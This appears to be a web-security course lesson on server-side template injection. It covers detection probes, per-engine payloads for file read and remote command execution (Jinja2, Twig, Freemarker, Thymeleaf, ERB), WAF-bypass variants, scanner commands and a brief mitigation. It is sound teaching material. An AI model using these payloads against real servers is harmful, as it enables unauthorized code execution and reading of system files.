Advanced Exploitation Techniques

Server-Side Template Injection (SSTI)

3 min read

SSTI occurs when user input is embedded into server-side templates. It can lead to information disclosure, arbitrary file read, and Remote Code Execution.

Understanding SSTI

Template engines render dynamic content:

Template: "Hello {{name}}!"
Input: name = "World"
Output: "Hello World!"

Attack: name = "{{7*7}}"
Output: "Hello 49!"  # Template executed!

Detection

Basic Polyglot

# Test string that triggers errors in multiple engines
${{<%[%'"}}%\.

# If error differs from normal input → template engine present

Engine-Specific Detection

Engine Probe Expected
Jinja2 (Python) {{7*7}} 49
Twig (PHP) {{7*7}} 49
Freemarker (Java) ${7*7} 49
Thymeleaf (Java) [[${7*7}]] 49
Velocity (Java) #set($x=7*7)$x 49
Smarty (PHP) {7*7} 49
ERB (Ruby) <%= 7*7 %> 49

Decision Tree

Input: {{7*7}}
  ├── 49 → Jinja2, Twig, or similar
  └── {{7*7}} → Not those engines
      ├── Try: ${7*7}
      │   └── 49 → Freemarker, Velocity
      └── Try: {7*7}
          └── 49 → Smarty

Exploitation by Engine

Jinja2 (Python/Flask)

# Read file
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

# RCE
{{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['sys'].modules['os'].popen('id').read() }}

# Shorter payload (if import available)
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}

Twig (PHP)

# RCE
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

# Alternative
{{["id"]|filter("system")}}

Freemarker (Java)

# RCE
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

# Alternative
${"freemarker.template.utility.Execute"?new()("id")}

Thymeleaf (Java)

# RCE via SpringEL
[[${T(java.lang.Runtime).getRuntime().exec('id')}]]

# URL parameter variant
__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x

Ruby ERB

# RCE
<%= system('id') %>
<%= `id` %>

Bypassing Filters

Jinja2 WAF Bypass

# Without quotes
{{ request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f') }}

# Without brackets
{{ request|attr('application')|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('id')|attr('read')() }}

# Unicode escapes
{{ '\x5f\x5fclass\x5f\x5f' }}  # __class__

Character Restrictions

# Without dots (Jinja2)
{{ request['application']['__globals__']['os']['popen']('id')['read']() }}

# Without underscores
{{ request|attr(request.args.get('a'))|attr(request.args.get('b')) }}
# URL: ?a=__class__&b=__mro__

Where to Find SSTI

Common injection points:

  • Email templates (custom variables)
  • Error messages with reflected input
  • PDF/document generation
  • SMS/notification templates
  • User profile fields rendered server-side
  • CMS page builders
# Test every input field
# Look for features that "preview" or "render" user content
# Check API endpoints that format/template responses

Automated Testing

# Using tplmap
python tplmap.py -u "https://example.com/page?name=test"

# Using Nuclei
nuclei -l targets.txt -tags ssti

# Burp extension: Template Injection Scanner

Bounty Examples

Company Engine Impact Bounty
Uber Jinja2 RCE $15,000
Shopify Liquid File read $10,000
Yahoo Freemarker RCE $8,000
HubSpot HubL File read $5,000

Mitigation Understanding

Why SSTI happens:

  • User input directly in template string
  • Using template engine for email personalization
  • Dynamic template generation from user content

Secure approach:

# Vulnerable
template = f"Hello {user_input}!"
render_template_string(template)

# Secure
render_template("template.html", name=user_input)

Pro Tip: SSTI often hides in unexpected places—error pages, email previews, PDF generators. Test every field that renders output.

Next, we'll cover Web Cache Poisoning and HTTP Request Smuggling. :::

Quiz

Module 4: Advanced Exploitation Techniques

Take Quiz